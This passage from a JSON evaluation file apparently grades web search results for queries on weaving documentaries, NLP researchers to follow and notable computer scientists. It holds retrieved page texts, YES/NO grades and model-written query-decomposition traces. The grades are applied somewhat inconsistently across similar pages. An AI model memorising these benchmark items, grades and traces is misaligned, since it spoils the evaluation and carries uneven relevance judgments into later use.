            "1. A video that provides an intuitive explanation of backpropagation in neural networks could help computer science students develop a better understanding of this fundamental machine learning algorithm.\n\n2. A video that uses relatable analogies and examples to illustrate the concept of quantum tunneling could make this complex physics topic more accessible for high school students.\n\n3. Providing the location of the nearest medical facility that can evaluate and treat a concussion near the Appalachian trail trailhead would be helpful information for the user's friend.\n\n4. Finding a TV show or movie that positively depicts single fathers raising their children could be valuable for a new parent looking for family-friendly content.\n\n5. A documentary exploring the history and cultural significance of traditional weaving techniques from around the world could be an insightful resource for a fashion design student."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Weaving Worlds | ITVS",
                "url": "https://itvs.org/films/weaving-worlds",
                "published_date": "2023-01-01",
                "text": "Navajo weavers explore the complex relationship with reservation traders and a weaver's role within the global market economy.\n\nSeries\n APT Presentation\n Premiere Date\n November 1, 2008\n Length\n 60 minutes\n Funding Initiative\n Open Call\n\nProducer\n Leighton Peterson\n\nWe fund untold stories for public media.\n\nLearn more about funding opportunities with ITVS.\n\nThe Film\n\nCollected and highly valued throughout the world, Navajo rugs have been the subject of many aesthetic, scholarly, and popular studies. Weaving Worlds tells the story of Navajo rug weavers and their role within the global market economy. Through interviews and oral histories, the film gives an intimate look at current dilemmas facing Navajo weavers as well as the relationship between weaving and family relations. \n Topics\n\nNative American \n Economics & Development \n Arts & Artists \n Rural Life\n\nRelated Films\n\nPremiering Soon\n\nIndependent Lens\n\nOutta The Muck\n\nWith determination and joy, the people of Pahokee rise \u201coutta the muck\u201d to celebrate family history, folklore, and big-time football.\n\nIndependent Lens\n\nNo Straight Lines\n\nFive queer comic book artists journey from the margins of the DIY underground comix scene to mainstream acceptance, exploring art as a tool for social change.\n\nIndependent Lens\n\nThe Big Payback\n\nA rookie alderwoman in Evanston, Illinois led the passage of the first tax-funded reparations bill for Black Americans and stirs up a debate about the debt owed from the U.S.",
                "model_trace": "Query Decomposition:\n1. {documentary}: The document is about a film, which qualifies as a documentary -> ([1], SATISFIED)\n2. {explores the history and cultural significance of traditional weaving techniques}: The document focuses on Navajo rug weavers and their role within the global market economy, but it does not explicitly mention the history or cultural significance of traditional weaving techniques from around the world -> ([1], UNSATISFIED)\n3. {traditional weaving techniques from around the world}: The document focuses specifically on Navajo weaving, not on global traditional weaving techniques -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to being a documentary but does not satisfy the subcomponents related to exploring the history and cultural significance of traditional weaving techniques from around the world. NO."
            },
            {
                "grade": "YES",
                "title": "Awana",
                "url": "https://www.globalonenessproject.org/library/films/awana",
                "published_date": "2023-01-01",
                "text": "Create your library\n Sign up or log in to save your favorite stories and lessons, create custom collections, and share with others.\n\nIn this short film, we meet women weavers in the remote town of Patacancha, a traditional Quechua community in the south of Peru. In South America, weaving is one of the oldest human skills. The backstrap loom, still used in parts of the Andes today, has been around for more than 10,000 years. Today, this ancient process meets the 21st-century marketplace as the women of Patacancha, Indigenous to the Andean highlands, create beautiful textiles in the Incan style for consumers across the globe. Within the textiles, the women of Patacancha weave the stories and memories of their ancestors, passing down and preserving important cultural traditions and heritage. Traditionally, weaving brings together the entire community, with extended families sitting, talking, and laughing for hours together outside near the loom during the dry season. The skill of weaving is passed down from mother to daughter; girls learn to spin alpaca and sheep wool as young as 3-4 years old. In Awana, a Quechua weaver and her family demonstrate the beautiful, intricate, and labor-intensive process of making a woolen scarf by hand over the course of a week.\n\nFilm\n\nAn Invitation\n\nAn ancient prophecy of the Indigenous peoples of Quichua, Ecuador, speaks of a time when the eagle and the condor fly together. A Quichua elder and healer tells us the time of the prophecy is here.\n\nPhoto Essay\n\nThe Art of Making Wool\n\nMimi Luebbermann raises sheep at Windrush Farm in Petaluma, California, where she works to educate the public about wool and fiber arts.\n\nFilm\n\nThe Canoe Maker\n\nMaster carver Joe Martin, one of the few traditional craftsmen left, makes dugout canoes used by his people, the Pacific Northwest Nuu-chah-nulth First Nations.\n\nFilm\n\nSilent Crescendo \n Meet artist Slobodan Dan Paich, who creates simple drawings with tea and ink in a daily ritual.",
                "model_trace": "Query Decomposition:\n1. {documentary}: The document mentions that \"Awana\" is a short film -> ([1], SATISFIED)\n2. {explores the history and cultural significance of traditional weaving techniques}: The document describes how the film \"Awana\" showcases the traditional weaving techniques of the Quechua community in Peru, their cultural significance, and the preservation of these traditions -> ([1], SATISFIED)\n3. {from around the world}: The document focuses specifically on the Quechua community in Peru and does not mention weaving techniques from other parts of the world -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {documentary} and {explores the history and cultural significance of traditional weaving techniques}. Since both of these subcomponents are satisfied, the document is helpful for the user's request despite not covering weaving techniques from around the world. YES."
            },
            {
                "grade": "NO",
                "title": "Acadia: Wabanaki Basket Weaving",
                "url": "https://vimeo.com/139891331",
                "published_date": "2015-09-20",
                "text": "Solutions\n\nFeatures\n\nResources\n\nWatch\n\nPricing\n\nContact Sales\n\nLog in\n\nJoin\n\nMenu\n\nSearch\n\nJoin\n\nLogin\n\nPricing\n\nContact Sales\n\nSearch\n\nSearch\n\nUpload\n\nMore stuff\n\nTerms of Service\n\nPrivacy Policy\n\nCopyright\n\nCookies\n\nDesktop site\n\nLanguage\n\nFAQ\n\nHelp\n\nTM + \u00a9 2023 Vimeo.com, Inc.\n\nWatch in our app\n\nOpen in app",
                "model_trace": "Query Decomposition:\n1. {documentary}: The webpage appears to be a video on Vimeo, which could be a documentary -> ([1], UNSURE)\n2. {explores the history and cultural significance of traditional weaving techniques}: The title \"Acadia: Wabanaki Basket Weaving\" suggests that it might focus on Wabanaki basket weaving, but it does not provide clear information on whether it covers the history and cultural significance of traditional weaving techniques from around the world -> ([2], UNSURE)\n3. {from around the world}: The title indicates a focus on Wabanaki basket weaving, which is specific to a particular culture and not global -> ([1], UNSATISFIED)\n\nAssessment: The document does not clearly satisfy the subcomponents related to the history and cultural significance of traditional weaving techniques from around the world. NO."
            },
            {
                "grade": "NO",
                "title": "Learning about the cultural significance of textiles with the 'Woven ...",
                "url": "https://www.ualberta.ca/the-quad/2024/02/learning-about-the-cultural-significance-of-textiles-with-the-woven-identities-exhibit.html",
                "published_date": null,
                "text": "Throughout history, clothing, including the patterns, fabrics and techniques used, has served as a distinct form of cultural expression across the world. In \u2018Woven Identities\u2019, curators Siming Guo, Elsie Osei, Chiara Power and Anne Bissonnette explored two countries whose people have long expressed themselves through clothing and textiles: Ghana and Guatemala.\n Textiles in Ghana and Guatemala \nIn this exhibit, walk through, explore and learn about the woven designs and processes developed by Ghanaians and the Indigenous Maya people of Guatemala. The exhibit demonstrates that despite being on opposite sides of the world, both countries\u2019 strong weaving, printing and embroidering traditions have generated colourful, intricate textiles that are recognized worldwide.\u00a0\nThe two styles of dress, as shared through the exhibit website, share a collective purpose: \u201cGhanaian textiles are remarkable with their unique motifs and patterns, which reflect the country\u2019s Indigenous cultural heritage. With Maya textiles, while some of their visual elements could once be linked to a wearer\u2019s location, age or gender, the broader use of traje \u2014 Maya traditional dress \u2014 now plays a part in Indigenous identity politics.\u201d\u00a0\n\u201cInterestingly, despite the apparent differences, cultures worldwide share striking similarities upon closer examination,\u201d shared exhibit curator, Elsie Osei, MFA. \u201cThe world, in essence, operates as a global market, and the perceived distance between various cultures diminishes when scrutinized. It becomes evident that many cultures grapple with common influences, such as the effects of globalization, colonization and other shared experiences.\u201d\nWoven Identities: Ghanaian and Guatemalan Textiles in the Face of Globalization\" in the Human Ecology Gallery, University of Alberta\n Globalization and textiles \nOne focus for this exhibit is the impact of globalization: the curators highlight how Western gender standards have had a greater impact on the negative perception of men in traje as they do not conform to a somber visi",
                "model_trace": "Query Decomposition:\n1. [Documentary]: The document does not mention a documentary; it describes an exhibit -> ([0], UNSATISFIED)\n2. [History and cultural significance of traditional weaving techniques]: The document discusses the cultural significance and history of weaving techniques in Ghana and Guatemala -> ([1], SATISFIED)\n3. [From around the world]: The document covers traditional weaving techniques from Ghana and Guatemala, but not globally -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent about the cultural significance and history of traditional weaving techniques but does not mention a documentary and only covers two specific cultures rather than a global perspective. Therefore, it does not fully meet the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a data scientist interested in machine learning and natural language processing. Can you recommend any prominent researchers or experts in the field that I should follow or learn from?",
        "grid_pos": [
            3,
            8
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Person",
        "reasoning_trace": [
            "The queries are designed to test Exa's ability to understand personalized information about the user and their interests, and provide relevant recommendations for experts, researchers, or thought leaders in those domains. The queries cover a range of fields, including machine learning, computer science, customer service, history, and music theory. By asking for specific individuals to learn from, the queries require Exa to have a deep understanding of the people and their contributions within those fields."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/andrewyng",
                "published_date": "2010-11-18",
                "text": "Co-Founder of Coursera; Stanford CS adjunct faculty. Former head of Baidu AI Group/Google Brain. #ai #machinelearning, #deeplearning #MOOCs| name: Andrew Ng | created_at: Thu Nov 18 03:39:11 +0000 2010 | favourites_count: 1265 | followers_count: 741578 | friends_count: 668 | media_count: 261 | possibly_sensitive: False | verified: True | statuses_count: 1504 | location: Palo Alto, CA The new Machine Learning Specialization by @DeepLearningAI_ & @StanfordOnline is now available on @Coursera!\n\nYou\u2019ll learn the fundamentals of ML & gain practical experience with Python. Please help me spread the word, and encourage others to take ML! https://www.coursera.org/specializations/machine-learning-introduction https://twitter.com/AndrewYNg/status/1537119911889145858/video/1| created_at: Wed Jun 15 17:08:39 +0000 2022 | favorite_count: 5637 | quote_count: 157 | reply_count: 163 | retweet_count: 1407 | is_quote_status: False | retweeted: False | lang: en Happy Valentine's Day -- love you all! \u2764\ufe0f\u2764\ufe0f\u2764\ufe0f| created_at: Tue Feb 14 17:54:28 +0000 2023 | favorite_count: 778 | quote_count: 3 | reply_count: 40 | retweet_count: 29 | is_quote_status: False | retweeted: False | lang: en With AI surging, business leaders need to guide organizations through rapidly emerging opportunities and threats. I\u2019m delighted FourthBrain is offering a live workshop on this, that I'm looking forward to speaking at. \nhttps://fourthbrain.ai/ai-business-leaders/| created_at: Thu Feb 09 22:01:02 +0000 2023 | favorite_count: 129 | quote_count: 4 | reply_count: 4 | retweet_count: 11 | is_quote_status: False | retweeted: False | lang: en I wish schools could make homework so joyful that students want to do it themselves, rather than let ChatGPT have all the fun.| created_at: Thu Feb 09 19:37:22 +0000 2023 | favorite_count: 10299 | quote_count: 142 | reply_count: 321 | retweet_count: 1222 | is_quote_status: False | retweeted: False | lang: en If you're starting a reading group on Large Language Models (LLMs), what is one research paper you will want added to the",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: The document provides information about Andrew Ng, a prominent figure in AI, machine learning, and deep learning -> ([1], SATISFIED)\n2. {prominent researchers or experts to follow or learn from}: Andrew Ng is a well-known expert in the field of machine learning and AI, making him a relevant person to follow -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides information about a prominent researcher in machine learning and AI, which aligns with the user's interest. YES"
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/AndrewYNg",
                "published_date": "2010-11-18",
                "text": "Co-Founder of Coursera; Stanford CS adjunct faculty. Former head of Baidu AI Group/Google Brain. #ai #machinelearning, #deeplearning #MOOCs| profile_url: http://www.andrewng.org | name: Andrew Ng | created_at: Thu Nov 18 03:39:11 +0000 2010 | favourites_count: 1265 | followers_count: 741694 | friends_count: 668 | media_count: 261 | possibly_sensitive: False | verified: True | statuses_count: 1504 | location: Palo Alto, CA The new Machine Learning Specialization by @DeepLearningAI_ & @StanfordOnline is now available on @Coursera!\n\nYou\u2019ll learn the fundamentals of ML & gain practical experience with Python. Please help me spread the word, and encourage others to take ML! https://www.coursera.org/specializations/machine-learning-introduction https://twitter.com/AndrewYNg/status/1537119911889145858/video/1| created_at: Wed Jun 15 17:08:39 +0000 2022 | favorite_count: 5635 | quote_count: 157 | reply_count: 163 | retweet_count: 1408 | is_quote_status: False | retweeted: False | lang: en Happy Valentine's Day -- love you all! \u2764\ufe0f\u2764\ufe0f\u2764\ufe0f| created_at: Tue Feb 14 17:54:28 +0000 2023 | favorite_count: 803 | quote_count: 3 | reply_count: 40 | retweet_count: 30 | is_quote_status: False | retweeted: False | lang: en With AI surging, business leaders need to guide organizations through rapidly emerging opportunities and threats. I\u2019m delighted FourthBrain is offering a live workshop on this, that I'm looking forward to speaking at. \nhttps://fourthbrain.ai/ai-business-leaders/| created_at: Thu Feb 09 22:01:02 +0000 2023 | favorite_count: 129 | quote_count: 4 | reply_count: 4 | retweet_count: 11 | is_quote_status: False | retweeted: False | lang: en I wish schools could make homework so joyful that students want to do it themselves, rather than let ChatGPT have all the fun.| created_at: Thu Feb 09 19:37:22 +0000 2023 | favorite_count: 10290 | quote_count: 142 | reply_count: 321 | retweet_count: 1222 | is_quote_status: False | retweeted: False | lang: en If you're starting a reading group on Large Language Models (LLMs), what is one re",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: The user is looking for experts in machine learning and natural language processing -> ([1], SATISFIED)\n2. {prominent researchers or experts to follow or learn from}: The document is about Andrew Ng, a well-known figure in machine learning -> ([1], SATISFIED)\n\nAssessment: The document provides information about Andrew Ng, who is a prominent researcher in the field of machine learning. This satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/ylecun",
                "published_date": "2009-06-17",
                "text": "Professor at NYU. Chief AI Scientist at Meta.\nResearcher in AI, Machine Learning, Robotics, etc.\nACM Turing Award Laureate.| profile_url: http://yann.lecun.com | name: Yann LeCun | created_at: Wed Jun 17 16:05:51 +0000 2009 | favourites_count: 12987 | followers_count: 422749 | friends_count: 576 | media_count: 165 | possibly_sensitive: False | verified: False | statuses_count: 12812 | location: New York Excellent paper in which the word \"criti-hype\" is coined.\nCriti-hype designates the kind of academic and non-academic work that magnifies the imagined dangers of a new technology, feeding on and mirroring the hype from the advocates of said technology.\n\nhttps://sts-news.medium.com/youre-doing-it-wrong-notes-on-criticism-and-technology-hype-18b08b4307e5| created_at: Wed Feb 15 01:12:02 +0000 2023 | favorite_count: 108 | quote_count: 4 | reply_count: 6 | retweet_count: 18 | is_quote_status: False | retweeted: False | lang: en RT @beenwrekt: Terrifyingly hilarious overview of an insane number of mistakes in last week\u2019s Bing/ChatGPT demo. Why did Google lose 10% of\u2026| created_at: Wed Feb 15 00:22:27 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 45 | is_quote_status: True | retweeted: False | lang: en Will Auto-Regressive LLMs ever be reliably factual?| created_at: Wed Feb 15 00:20:55 +0000 2023 | favorite_count: 167 | quote_count: 8 | reply_count: 48 | retweet_count: 25 | is_quote_status: True | retweeted: False | lang: en The big challenge for AI dialog systems over the next year or so is to make them factual, non-toxic, up to date, and capable of using tools like calculators, databases, search engines, simulators, or in this case, a simple calendar with today's date.| created_at: Tue Feb 14 17:57:13 +0000 2023 | favorite_count: 688 | quote_count: 21 | reply_count: 51 | retweet_count: 98 | is_quote_status: True | retweeted: False | lang: en Fantastic talk on the reaction of media and the public to technological (r)evolutions, particularly AI, particularly generative AI.\nOscillating ",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: The user is looking for prominent researchers or experts in these fields -> ([1], SATISFIED)\n2. {recommend prominent researchers or experts to follow or learn from}: The document is a Twitter profile of Yann LeCun, a prominent researcher in AI and machine learning -> ([1], SATISFIED)\n\nAssessment: The document provides information about a prominent researcher in AI and machine learning, which aligns with the user's interest. Both key subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "People to Follow in the Field of NLP | NLP Researchers",
                "url": "https://www.analyticsvidhya.com/blog/2020/08/people-to-follow-in-the-field-of-natural-language-processing-nlp/",
                "published_date": null,
                "text": "Overview\nText analytics is becoming easier with many people working day and night on each aspect of Natural Language Processing\nWe list a set of people to follow in the field NLP Feel we should include anyone else? Let us know!\nIntroduction\nNatural Language Processing has made unstructured text data analysis simpler. With numerous applications, NLP is affecting and adding values to millions of lives. But the problem NLP practitioners face is catching up with the changes that happen in this field. I personally tried to keep a tab on the continuous changes and developments happening in this field but failed miserably for a long time.\nWhile there were myriad answers, the simplest and the most feasible one is to just follow the people who are already experts in this domain. Following these people will help you learn, build perspectives around various topics, and keep you updated with the latest developments. Also, you get to know the best practices used by the domain experts which makes you a better data scientist.\n \nIn this article, I have put together a list of the people you should follow in the field of NLP. Keep in mind, following others is important not just in the field of natural language processing but in any field. It is one of the easiest things that you can do with an insanely high ROI.\n In case you are looking for a list of people to follow for Machine Learning, check out this article:  \n  Heroes of Machine Learning \u2013 Top Experts and Researchers you should follow  \nSo let\u2019s get started.\n Christopher Manning \n   Christopher D Manning, Professor of Computer Science and Linguistics, Stanford University on Wednesday, May 14, 2014, at Stanford University. ( Photo by Norbert von der Groeben ) \nFirst person on this list of people to follow in the field of NLP is Christopher Manning. Christopher is currently the Director of Stanford Artificial Intelligence Laboratory (SAIL) and the Professor of Computer Science and Linguistics at Stanford. He is a co-author of some excellent textbooks such as Introduction to Inf",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: The document is relevant to NLP but does not specifically mention machine learning -> ([2], UNSURE)\n2. {prominent researchers or experts in the field to follow or learn from}: The document lists prominent researchers in the field of NLP -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponent of recommending prominent researchers or experts in the field of NLP. While it does not explicitly cover machine learning, NLP is a significant part of machine learning, and the user would likely find the information useful. YES."
            },
            {
                "grade": "YES",
                "title": "12 NLP Researchers, Practitioners & Innovators You ...",
                "url": "https://www.kdnuggets.com/2019/08/nlp-researchers-practitioners-innovators-should-follow.html",
                "published_date": null,
                "text": "Natural language processing is a particular interest of mine, as I assume it is for many of you.\nKeeping up on the rapid advances in NLP is one thing. Filtering these advances through the lens of seasoned researchers and innovators is another. I find that following a well curated list of NLP folks on social media can help in both of these challenges.\nIn that regard, this is my list of suggested NLP researchers and innovators to follow. Keep in mind that this is a collection of 12 individuals which I have personally found beneficial to follow and pick up information from. This is not an authoritative list in any sense, and those included aren't necessarily the \"top\" folks in the field. They are all, however, worthy of placement herein, and I encourage you all to follow them to help expand your understanding of NLP. \n \nNotably, they are of diverse background in terms of role, and include academics, practitioners, developers, entrepreneurs, computational linguists, and more. This differing set of views is an asset of this particular list.\nWithout further ado, here is the list, in alphabetical order. Note that I have left the descriptions to the individuals themselves, grabbing appropriate wording from their respective websites.\n\u00a0\n Yoav Artzi  ( @yoavartzi ), Assistant Professor of Computer Science @ Cornell\n \nI am an Assistant Professor in the Department of Computer Science and Cornell Tech at Cornell University. I received an NSF CAREER award, paper awards in EMNLP 2015, ACL 2017, and NAACL 2018. Previously, I received a B.Sc. summa cum laude from Tel Aviv University and a Ph.D. from the University of Washington.\nI work in the intersection of natural language processing, machine learning, vision, and robotics. My current main research focus is algorithms for natural language understanding with specific interest in situated interactions.\n \n\u00a0\n Emily M. Bender  ( @emilymbender ), Linguistics Professor @ University of Washington, Faculty Director, Professional MS Program in Computational Linguistics (CLMS)\n \nMy primary",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: This document is specifically about NLP researchers, which is a subfield of machine learning -> ([1], SATISFIED)\n2. {prominent researchers or experts to follow or learn from}: The document provides a list of 12 NLP researchers and innovators to follow, along with their credentials and roles -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing a list of NLP researchers and innovators, which is directly relevant to the user's interest in machine learning and natural language processing. YES."
            },
            {
                "grade": "NO",
                "title": "How to work in Data Science, AI, or Big Data based on my ...",
                "url": "https://www.freecodecamp.org/news/recommendations-for-working-in-data-science-ai-and-big-data-based-on-my-personal-experience-8dbc24be368c/",
                "published_date": null,
                "text": "by Richard Freeman, PhD   In summer 2013, I interviewed for a lead role in the data science and analytics team at tech-for-good company JustGiving. During the interview, I said I planned to deliver batch machine learning, graph analytics and streaming analytics systems, both in-house and in the cloud. A few years later, my former boss Mike Bugembe and I were both presenting at international conferences, winning awards and becoming authors! Here is my story, and what I learnt on the journey \u2014 plus my recommendations for you. Why Big Data Engineering and Data Science? I\u2019ve always been interested in artificial intelligence (AI), machine learning (ML) and natural language processing (NLP). In particular, I\u2019ve been interested in scalable systems, and making robots more intelligent and responsive. My interest in data engineering comes from my background as a solutions architect. In that role, I enjoyed building cloud-based systems to store and process data to derive new insight and knowledge. I also develop big data and ML pipelines to automate the whole ML process. This helps data scientists and analysts save time preparing data for training and testing their algorithms, running metrics and deriving key performance indicators at scale. Data preparation is particularly important. Data scientists typically spend about 80% of their time on it. Having access to data shaped in the right way makes them more productive and happier. My previous background I previously earned a Masters degree in computer systems engineering, and a PhD in ML and NLP. I completed both at the University of Manchester. Rather than join a specialised vendor in my Ph.D. area of expertise, I decided to broaden my skills and gain more client exposure by joining Capgemini. Capgemini are a large global consulting, technology and outsourcing services company. I worked my way from being a developer to a solution architect. There, I helped deliver large scale projects for Fortune Global 500 companies in sectors including insurance, retail banking, financia",
                "model_trace": "Query Decomposition:\n1. {data scientist interested in machine learning and natural language processing}: This document mentions the author's background and interest in ML and NLP -> ([1], SATISFIED)\n2. {recommend prominent researchers or experts in the field}: The document does not provide recommendations for other prominent researchers or experts in the field of ML and NLP -> ([1], UNSATISFIED)\n\nAssessment: The document provides some insights into the author's background in ML and NLP, but it does not recommend other prominent researchers or experts in the field. Therefore, it does not fully satisfy the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a high school student interested in studying computer science in college. What are some notable computer science professors or researchers that have made significant contributions to the field that I could learn more about?",
        "grid_pos": [
            3,
            8
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Person",
        "reasoning_trace": [
            "The queries are designed to test Exa's ability to understand personalized information about the user and their interests, and provide relevant recommendations for experts, researchers, or thought leaders in those domains. The queries cover a range of fields, including machine learning, computer science, customer service, history, and music theory. By asking for specific individuals to learn from, the queries require Exa to have a deep understanding of the people and their contributions within those fields."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Manuel Blum",
                "url": "https://www2.eecs.berkeley.edu/Faculty/Homepages/blum.html",
                "published_date": "2023-01-01",
                "text": "Professor Emeritus\n\nInfo Links\n\nResearch Areas\n\nrecursive function, cryptographic protocols, program checking\n\nBiography\n\nManuel Blum is a pioneer in the field of theoretical computer science and the winner of the 1995 Turing\nAward in recognition of his contributions to the foundations of computational complexity theory and its\napplications to cryptography and program checking, a mathematical approach to writing programs that\ncheck their work. He was born in Caracas, Venezuela, where his parents settled after fleeing Europe in the 1930s, and\ncame to the United States in the mid-1950s to study at the Massachusetts Institute of Technology. While\nstudying electrical engineering, he pursued his desire to understand thinking and brains by working in the\nneurophysiology laboratory of Dr. Warren S. McCulloch and Walter Pitts, then concentrated on\nmathematical logic and recursion theory for the insight it gave him on brains and thinking. He did his\ndoctoral work under the supervision of Artificial Intelligence pioneer Marvin Minsky, and earned a\nPh.D. from MIT in mathematics in 1964. Blum began his teaching career at MIT as an assistant professor of mathematics and, in 1968, joined the\nfaculty of the University of California at Berkeley. He became the Bruce Nelson University Professor of Computer Science at Carnegie Mellon in 2001. Blum has supervised the theses of 35 doctoral students who now pepper almost every major computer science department in the country. The many ground-breaking areas of theoretical computer science chartered by his academic descendants are legend.\n\nEducation\n\n1964, Ph.D., Mathematics, MIT\n\n1961, M.S., Electrical Engineering, MIT\n\n1959, B.S., Electrical Engineering, MIT\n\nSelected Publications\n\nL. von Ahn, M. Blum, and J. Langford, \"Telling humans and computers apart automatically: How lazy cryptographers do AI,\" Communications of the ACM, vol. 47, no. 2, pp. 56-60, Feb. 2004.\n\nL. von Ahn, M. Blum, N. J. Hopper, and J. Langford, \"CAPTCHA: Using hard AI problems for security,\" in Lecture Notes in C",
                "model_trace": "Query Decomposition:\n1. {notable computer science professors or researchers}: The document is about Manuel Blum, a notable computer science professor and researcher -> ([1], SATISFIED)\n2. {significant contributions to the field}: The document mentions Blum's significant contributions, including winning the Turing Award and his work in computational complexity theory, cryptography, and program checking -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information about a notable computer science professor, Manuel Blum, and highlights his significant contributions to the field. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "H. T. Kung - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/H._T._Kung",
                "published_date": "2005-01-16",
                "text": "From Wikipedia, the free encyclopedia\n\nH. T. Kung \u5b54\u7965\u91cd [1] Born November 9, 1945 (age 77) Alma mater National Tsing Hua University Carnegie Mellon University Awards Member of National Academy of Engineering Academician of Academia Sinica Guggenheim Fellowship IEEE Computer Society Charles Babbage Award Scientific career Fields Computer science Institutions Carnegie Mellon University Harvard University Thesis Topics in Analytic Computational Complexity (1974) Doctoral advisor Joseph F. Traub Doctoral students Brad Karp Monica S. Lam Charles E. Leiserson Robert T. Morris \n Hsiang-Tsung Kung (Chinese: \u5b54\u7965\u91cd; pinyin: K\u01d2ng Xi\u00e1ngzh\u00f2ng; born November 9, 1945) is a Taiwanese-born American computer scientist. He is the William H. Gates professor of computer science at Harvard University. [2] His early research in parallel computing produced the systolic array in 1979, which has since become a core computational component of hardware accelerators for artificial intelligence, including Google's Tensor Processing Unit (TPU). [3] Similarly, he proposed optimistic concurrency control in 1981, now a key principle in memory and database transaction systems, including MySQL, Apache CouchDB, Google's App Engine, and Ruby on Rails. He remains an active researcher, with ongoing contributions to computational complexity theory, hardware design, parallel computing, routing, wireless communication, signal processing, and artificial intelligence. [4] \n Kung is well-known as an influential mentor. His 1987 advice on Ph.D. research remains well cited. Throughout his career, he has been equally regarded for the role of his own research as for the legacy of his students, who have gone on to become pillars at Y Combinator, Google Brain, IBM, Intel, Akamai, MediaTek, Stanford, and MIT.\n He was elected a member of the US National Academy of Engineering 1993 for introducing the idea of systolic computation, contributions to parallel computing, and applying complexity analysis to very-large-scale integrated (VLSI) computation. [5] Kung is also a Gu",
                "model_trace": "Query Decomposition:\n1. [High school student interested in studying computer science in college]: This subcomponent provides context but does not need to be directly addressed by the document -> ([0], UNSURE)\n2. [Notable computer science professors or researchers]: The document is about H. T. Kung, a notable computer science professor with significant contributions to the field -> ([1], SATISFIED)\n3. [Significant contributions to the field]: The document details H. T. Kung's contributions to parallel computing, systolic arrays, optimistic concurrency control, and more -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents related to notable computer science professors and their significant contributions. YES."
            },
            {
                "grade": "YES",
                "title": "EECS at UC Berkeley",
                "url": "https://www2.eecs.berkeley.edu/Faculty/Homepages/patterson.html",
                "published_date": "2023-01-01",
                "text": "Professor Emeritus\n\nInfo Links\n\nResearch Areas\n\nComputer Architecture & Engineering (ARC), Computer Architecture and Systems: performance, security, RISC-V\n\nOperating Systems & Networking (OSNT)\n\nBiography\n\nDavid Patterson is the Pardee Professor of Computer Science, Emeritus at the University of California at Berkeley, which he joined after graduating from UCLA in 1976.\n\nDave's research style is to identify critical questions for the IT industry and gather inter-disciplinary groups of faculty and graduate students to answer them. The answer is typically embodied in demonstration systems, and these demonstration systems are later mirrored in commercial products. In addition to research impact, these projects train leaders of our field. The best known projects were Reduced Instruction Set Computers (RISC), Redundant Array of Inexpensive Disks (RAID), and Networks of Workstations (NOW), each of which helped lead to billion dollar industries.\n\nA measure of the success of projects is the list of awards won by Patterson and as his teammates: the ACM A.M. Turing Award, the C & C Prize, the IEEE von Neumann Medal, the IEEE Johnson Storage Award, the SIGMOD Test of Time award, the ACM-IEEE Eckert-Mauchly Award, and the Katayanagi Prize. He was also elected to both AAAS societies, the National Academy of Engineering, the National Academy of Sciences, the Silicon Valley Engineering Hall of Fame, and to be a Fellow of the Computer History Museum. The full list includes about 40 awards for research, teaching, and service.\n\nIn his spare time he coauthored seven books---including two with John Hennessy who is past President of Stanford University and with whom he shared the Turing Award--- Patterson also served as Chair of the Computer Science Division at UC Berkeley, Chair of the Computing Research Association, and President of ACM. He is currently Vice-Chair of the Board of Directors of the RISC-V Foundation.\n\nEducation\n\n1976, PhD, Computer Science, UCLA\n\n1970, MS, Computer Science, UCLA\n\n1969, AB, Mathematics, UCLA\n\nSelecte",
                "model_trace": "Query Decomposition:\n1. {notable computer science professors or researchers}: The document is about David Patterson, a notable computer science professor -> ([1], SATISFIED)\n2. {significant contributions to the field}: The document details Patterson's significant contributions, such as RISC, RAID, and NOW, and mentions numerous prestigious awards -> ([1], SATISFIED)\n3. {learn more about}: The document provides an in-depth biography of David Patterson, including his research areas, awards, and educational background -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "How can I get into computer science research as a high ...",
                "url": "https://academia.stackexchange.com/questions/42763/how-can-i-get-into-computer-science-research-as-a-high-school-student",
                "published_date": null,
                "text": "I am in High-School but want to pursue research in Computer Science, but as you know High-School usually does not offer any such options or tasks.\nSo I want to explore avenues where I can get these options and tasks as I am very very interested and really want to do it.\nI would also like to say that I have good-strong knowledge of C++, C and assorted APIs from that (3 years programming for 5+ hours daily). So I wouldn't call my self too new to programming and think I can handle programming and so on.\nNow, these are my questions:\n How can I get involved in research?\n How can I contact academics to ask them for research position or even an intern position in research for that matter without coming across as a \"waste of time\"?\n \n \n \n \n \n    \n \n \n \n asked Apr 1, 2015 at 18:04\n \n \n \n \n \n 14\n \n \n \n \n \n \n \n \nGood on you!\nI have a relatively simple suggestion: do a replication study. First, find a collaborator -- a fellow high school student or college student of similar skill and experience. You'll learn more in a team than doing it alone. Second, read a dozen or so research papers (probably conference papers) in the field or sub-field that interests you the most. Pick one, preferably the simplest one you can find. Your goal is to replicate the methods as described in the paper and compare your results to theirs. (Don't pick one where you have access to their code.) Once you have a paper picked out (or a few), recruit an 